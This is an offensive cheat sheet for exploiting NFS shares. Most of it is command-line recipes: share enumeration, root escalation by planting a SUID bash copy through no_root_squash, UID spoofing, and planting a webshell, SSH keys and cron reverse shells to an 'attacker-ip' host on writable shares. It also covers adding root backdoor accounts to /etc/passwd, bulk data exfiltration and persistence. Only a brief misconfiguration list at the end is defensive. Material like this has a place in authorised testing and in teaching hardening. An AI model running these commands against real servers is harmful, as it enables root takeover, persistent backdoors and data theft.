NFS (Network File System)

Default Ports: 2049 (NFS), 111 (RPC)

Network File System (NFS) is a distributed file system protocol that allows users to access files over a network in a manner similar to how local storage is accessed. Developed by Sun Microsystems, NFS enables file sharing between Unix/Linux systems. Modern implementations (NFSv4) have improved security, but older versions and misconfigurations can lead to unauthorized access and data exposure.

Connect

Using mount

You can use the mount command to connect to NFS shares and access remote file systems as if they were local directories:

# List NFS shares
showmount -e target.com

# Mount NFS share
mkdir /mnt/nfs
mount -t nfs target.com:/share /mnt/nfs

# Mount with specific NFS version
mount -t nfs -o vers=3 target.com:/share /mnt/nfs
mount -t nfs -o vers=4 target.com:/share /mnt/nfs

# Mount without root squashing
mount -t nfs -o nolock target.com:/share /mnt/nfs

# Read-only mount
mount -t nfs -o ro target.com:/share /mnt/nfs

# Unmount
umount /mnt/nfs

Recon

Service Detection with Nmap

Use Nmap to detect NFS services and identify server capabilities.

nmap -p 2049,111 target.com

Share Enumeration

Discover which directories are being shared via NFS and what access permissions they have.

Using showmount

# List exported shares
showmount -e target.com

# List directories
showmount -d target.com

# List clients
showmount -a target.com

Using rpcinfo

# Using rpcinfo
rpcinfo -p target.com

# Manual RPC query
rpcinfo target.com | grep nfs

Enumeration

Mount and Explore

After mounting an NFS share, you can explore its contents and search for sensitive files or configuration data.

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# List contents
ls -la /mnt/nfs

# Find interesting files
find /mnt/nfs -type f -name "*.conf"
find /mnt/nfs -type f -name "*.key"
find /mnt/nfs -type f -name "*.pem"
find /mnt/nfs -type f -name "*password*"
find /mnt/nfs -type f -name "*.env"

# Search for credentials
grep -r "password\|secret\|key" /mnt/nfs

# Check permissions
ls -la /mnt/nfs

UID/GID Enumeration

Understanding file ownership through numeric UIDs helps in planning privilege escalation attacks.

# Check file ownership
ls -lan /mnt/nfs

# Files often show numeric UIDs
# Common UIDs:
# 0 = root
# 1000 = first user
# 33 = www-data (Apache)
# 1001, 1002, etc = other users

Attack Vectors

No Root Squashing

When root squashing is disabled (no_root_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation.

# Check if no_root_squash is set
showmount -e target.com
# Look for (no_root_squash) in output

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# Create file as root (if no_root_squash)
echo "test" > /mnt/nfs/root_file.txt
ls -la /mnt/nfs/root_file.txt
# Shows: -rw-r--r-- 1 root root

# Exploit: Create SUID shell
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash

# On target system, execute
./rootbash -p
# You get root shell

UID Manipulation

You can create a local user with the same UID as files on the NFS share to gain unauthorized access.

# Check file ownership on share
ls -lan /mnt/nfs
# e.g., file owned by UID 1000

# Create user with same UID
useradd -u 1000 fakeuser

# Switch to that user
su fakeuser

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# Now you can read/write files owned by UID 1000
cat /mnt/nfs/sensitive_file.txt

Writable Share Exploitation

Writable NFS shares allow you to upload backdoors, modify system files, or inject malicious code.

# If share is writable, upload malicious files

# Upload PHP webshell (if web accessible)
cp shell.php /mnt/nfs/var/www/html/shell.php

# Upload SSH key
mkdir -p /mnt/nfs/root/.ssh
cp id_rsa.pub /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

# Upload cron job
echo "* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1" > /mnt/nfs/etc/cron.d/backdoor

# Upload /etc/passwd backdoor
echo "backdoor::0:0:root:/root:/bin/bash" >> /mnt/nfs/etc/passwd

Post-Exploitation

Data Exfiltration

Once you have access to an NFS share, you can copy all files for offline analysis and searching for sensitive information.

# Copy entire share
rsync -av /mnt/nfs/ /tmp/exfiltrated_data/

# Compress and download
tar czf nfs_data.tar.gz /mnt/nfs
# Transfer to attacker machine

# Find sensitive files
find /mnt/nfs -name "*.key" -o -name "*.pem" -o -name "*password*"

Persistence

You can establish persistent access by modifying system files on the NFS share.

# Add SSH key (if /root/.ssh is writable)
echo "ssh-rsa AAAA..." >> /mnt/nfs/root/.ssh/authorized_keys

# Add cron job
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" > /mnt/nfs/etc/cron.d/persistent

# Add user to /etc/passwd
echo "hacker:x:0:0::/root:/bin/bash" >> /mnt/nfs/etc/passwd
echo "hacker:\$6\$salt\$hash" >> /mnt/nfs/etc/shadow

NFS Versions

Version	Features	Security
NFSv2	Basic functionality	Weak security
NFSv3	Better performance	AUTH_SYS only
NFSv4	ACLs, better security	Kerberos support

Useful Tools

Tool	Description	Primary Use Case
showmount	NFS share lister	Enumeration
mount	Mount utility	Access shares
nfsshell	NFS client	File operations
Nmap	Network scanner	Service detection
rpcinfo	RPC enumeration	Service discovery

Security Misconfigurations

• ❌ no_root_squash enabled
• ❌ Shares exported to * (everyone)
• ❌ Writable shares
• ❌ No authentication (NFSv3)
• ❌ Sensitive directories exported
• ❌ No access restrictions by IP
• ❌ NFSv2/v3 in use (use NFSv4)
• ❌ No Kerberos authentication
• ❌ Excessive permissions on files